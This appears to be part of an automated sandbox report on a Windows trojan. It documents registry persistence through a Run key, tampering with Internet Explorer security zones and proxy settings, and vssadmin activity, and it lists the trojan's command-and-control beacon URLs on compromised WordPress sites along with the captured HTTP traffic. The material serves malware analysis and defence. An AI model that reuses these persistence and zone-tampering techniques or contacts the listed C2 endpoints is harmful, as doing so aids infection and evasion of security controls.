[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process vssadmin.exe:1340 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 69 73 0E 3C FA A1 61 9B 2A 11 9F 1A 57 7C 66"

The process vssadmin.exe:916 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 D3 5F 28 F1 62 FC C1 19 0F 7C 8C E1 82 B2 DD"

The process NOTEPAD.EXE:1888 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 29 38 98 98 0E 07 91 C1 8A 69 21 E7 BA D6 35"

The process vcwhqj.exe:228 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"VSSADMIN.EXE" = "Command Line Interface for MicrosoftÃ‚Â® Volume Shadow Copy Service"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"NOTEPAD.EXE" = "Notepad"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 93 E9 BF EB D9 3A DF AE 6F 3B 93 2B 0E D8 25"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\BF75E1A6AE908920]
"data" = "31 36 6F 4C 75 67 45 65 51 48 46 62 47 65 4E 31"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"

[HKCU\Software\msys]
"ID" = "BF 75 E1 A6 AE 90 89 20"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLinkedConnections" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "%Documents and Settings%\%current user%\Application Data\vcwhqj.exe"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	58924	61440	4.09673	8c8e36eb51a81b7da8eed077971cca73
.rdata	65536	1104	4096	1.412	236eb47ab48ae8fad09193b9b9df914c
.data	69632	2142368	4096	0.1661	9c479fd863bc689afbe8a848bface6c3
.rsrc	2215936	43608	45056	3.48171	8fc6d16715809665f0002b34dfb1d412

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://ipinfo.io/ip	52.29.208.252
hxxp://myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC
hxxp://prettybaked.pl/wp-content/plugins/share-buttons-wp/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846B999981BED622AFC527FFFBFDF3B75348B7B53F5AB7EC7F88A285FBCD1C1141CD0290D5D8AB7387B98B4B7F112962B240F6AFC3869291532EE3A728E35B3A333EE7332751E06FA1225C3B56E701EF738B621742AF0CCCBF73CCD905EE8AC3271317B48C738C4826C7FF81BBEAE00ECD	185.23.21.169
hxxp://majowy.info/wp-content/plugins/wp-handy-lightbox/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0BAD3B3F82CBF372FFC2041BB80D5A5F0800EB4252C6AA835538C909DACE6B2E023834217091840AC9CB180F22DFB68F310B21D4B3FCEA5792BCBEBA4DAB9420F	79.96.20.98
hxxp://bostonhygiene.com/wp-content/plugins/quick-setup/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0C2B95EE0C3EB43E7D3D4F5BF27ACE8778220C7D37FF1F51911E022F4759AA545D7683E1FA3311AF3C2325B075DFD4B6CAD0D43A413808A0C829FEE08A5DF3720	204.11.56.48
hxxp://myconsulting.es/wp-content/plugins/post-notification/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C28DFD28A1C511AB93DD430BAAEAE42BF882659A4A0D9BC3749E862938F737F4DE4F7AFF3D8A2AFA20E885CEA76086A44995F44749E0AC70A9CFCE027919CA985818791194AB94D2635BE6A15FDA597286
hxxp://prettybaked.pl/wp-content/plugins/share-buttons-wp/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2D075AF8B8200893DF6CB2CE1BA42320F1CD697021095F3BAC0B6E7501B626D3F6CCEA67FFBD212F6A09E4EE950085A384DB9B89944FE4421C59B70FD8312D01A	185.23.21.169
hxxp://majowy.info/wp-content/plugins/wp-handy-lightbox/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2B6A4C49C51E7FDA33B4C4B332FA44DFC85F107174D1175843EE546C0254CCD03ED067E9788149E979AF785F272D934E5D27FEF452E871B2C96EF5A506A0EFA5D	79.96.20.98
hxxp://bostonhygiene.com/wp-content/plugins/quick-setup/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2AF56D3239F7BC16FFD1937B4F8BD7BB82C1BD15207835A3BA152688884D6C55DB107DA2DBA6C1AFF9F2D476AB53FBACD141F07890B931FD135CD84D72F26B50AA62E89122264FD9D2A47297D484D4B1F	204.11.56.48
hxxp://www.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /wp-content/plugins/share-buttons-wp/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846B999981BED622AFC527FFFBFDF3B75348B7B53F5AB7EC7F88A285FBCD1C1141CD0290D5D8AB7387B98B4B7F112962B240F6AFC3869291532EE3A728E35B3A333EE7332751E06FA1225C3B56E701EF738B621742AF0CCCBF73CCD905EE8AC3271317B48C738C4826C7FF81BBEAE00ECD HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: prettybaked.pl

Connection: Keep-Alive


HTTP/1.1 404 Not Found

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: text/html; charset=UTF-8

Link: <hXXp://prettybaked.pl/wp-json/>; rel="hXXps://api.w.org/"

Transfer-Encoding: chunked

Date: Wed, 15 Jun 2016 10:33:33 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Connection: close
2000..<!DOCTYPE html>.<html lang="pl-PL">.<head>.   
 <meta charset="UTF-8">.    <meta name="viewport" content="wi
dth=device-width, initial-scale=1">.    <title>Strona nie zos
ta..a znaleziona | PrettyBaked</title>.    <link rel="profile
" href="hXXp://gmpg.org/xfn/11">.    <link rel="pingback" href="
hXXp://prettybaked.pl/xmlrpc.php">.    <link rel="alternate" typ
e="application/rss xml" title="PrettyBaked » Kana.. z wpisami" h
ref="hXXp://prettybaked.pl/index.php/feed/" />.<link rel="altern
ate" type="application/rss xml" title="PrettyBaked » Kana.. z ko
mentarzami" href="hXXp://prettybaked.pl/index.php/comments/feed/" />
;...<script type="text/javascript">....window._wpemojiSettings =
 {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".
png","source":{"concatemoji":"http:\/\/prettybaked.pl\/wp-includes\/js
\/wp-emoji-release.min.js?ver=4.5.1"}};....!function(a,b,c){function d
(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext
("2d"),h=String.fromCharCode;if(!g||!g.fillText)return!1;switch(g.text
Baseline="top",g.font="600 32px Arial",a){case"flag":return g.fillText
(h(55356,56806,55356,56826),0,0),f.toDataURL().length>3e3;case"dive
rsity":return g.fillText(h(55356,57221),0,0),c=g.getImageData(16,16,1,
1).data,d=c[0] "," c[1] "," c[2] "," c[3],g.fillText(h(55356,57221,553
56,57343),0,0),c=g.getImageData(16,16,1,1).data,e=c[0] "," c[1] "," c[
2] "," c[3],d!==e;case"simple":return g.fillText(h(55357,56835),0,<<< skipped >>>

GET /wp-content/plugins/quick-setup/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0C2B95EE0C3EB43E7D3D4F5BF27ACE8778220C7D37FF1F51911E022F4759AA545D7683E1FA3311AF3C2325B075DFD4B6CAD0D43A413808A0C829FEE08A5DF3720 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: bostonhygiene.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 15 Jun 2016 10:33:35 GMT

Server: Apache

Set-Cookie: vsid=925vr2135324151106820; expires=Mon, 14-Jun-2021 10:33:35 GMT; path=/; domain=bostonhygiene.com; httponly

Expires: Mon, 22 Jul 2002 11:12:01 GMT

Cache-Control: private, no-cache

Pragma: no-cache

Vary: Accept-Encoding,User-Agent

Content-Length: 802

Keep-Alive: timeout=5, max=84

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
<html><head><meta http-equiv="refresh" content="0;url=h
ttp://ww2.bostonhygiene.com/?folio=9POR7JU99" /><META HTTP-EQUIV
="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="P
RAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTEN
T="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeun
load="" onunload=""><script language='javascript' type='text/jav
ascript'>try.....{.....    var rurl = 'hXXp://ww2.bostonhygiene.com
/?folio=9POR7JU99'......window.top.location.replace(rurl);.....} catch
(exception) {......document.write("This page has moved, <A HREF='ht
tp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> t
o go there.");.....}</script><noscript>This page has moved
, <A HREF='hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click 
here</A> to go there.</noscript></body></html>
..

GET /wp-content/plugins/quick-setup/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2AF56D3239F7BC16FFD1937B4F8BD7BB82C1BD15207835A3BA152688884D6C55DB107DA2DBA6C1AFF9F2D476AB53FBACD141F07890B931FD135CD84D72F26B50AA62E89122264FD9D2A47297D484D4B1F HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: bostonhygiene.com

Connection: Keep-Alive

Cookie: vsid=925vr2135324151106820


HTTP/1.1 200 OK

Date: Wed, 15 Jun 2016 10:33:49 GMT

Server: Apache

Expires: Mon, 22 Jul 2002 11:12:01 GMT

Cache-Control: private, no-cache

Pragma: no-cache

Vary: Accept-Encoding,User-Agent

Content-Length: 802

Keep-Alive: timeout=5, max=113

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8
<html><head><meta http-equiv="refresh" content="0;url=h
ttp://ww2.bostonhygiene.com/?folio=9POR7JU99" /><META HTTP-EQUIV
="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="P
RAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTEN
T="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeun
load="" onunload=""><script language='javascript' type='text/jav
ascript'>try.....{.....    var rurl = 'hXXp://ww2.bostonhygiene.com
/?folio=9POR7JU99'......window.top.location.replace(rurl);.....} catch
(exception) {......document.write("This page has moved, <A HREF='ht
tp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> t
o go there.");.....}</script><noscript>This page has moved
, <A HREF='hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click 
here</A> to go there.</noscript></body></html>
..

GET /wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Host: myconsulting.es

Connection: Keep-Alive


HTTP/1.1 301 Moved Permanently

Date: Wed, 15 Jun 2016 10:43:00 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.36

Vary: Cookie

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Set-Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf; path=/

Location: hXXp://VVV.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

HTTP/1.1 301 Moved Permanently..Date: Wed, 15 Jun 2016 10:43:00 GMT..S
erver: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwl
imited/1.4..X-Powered-By: PHP/5.4.36..Vary: Cookie..Expires: Wed, 11 J
an 1984 05:00:00 GMT..Cache-Control: no-cache, must-revalidate, max-ag
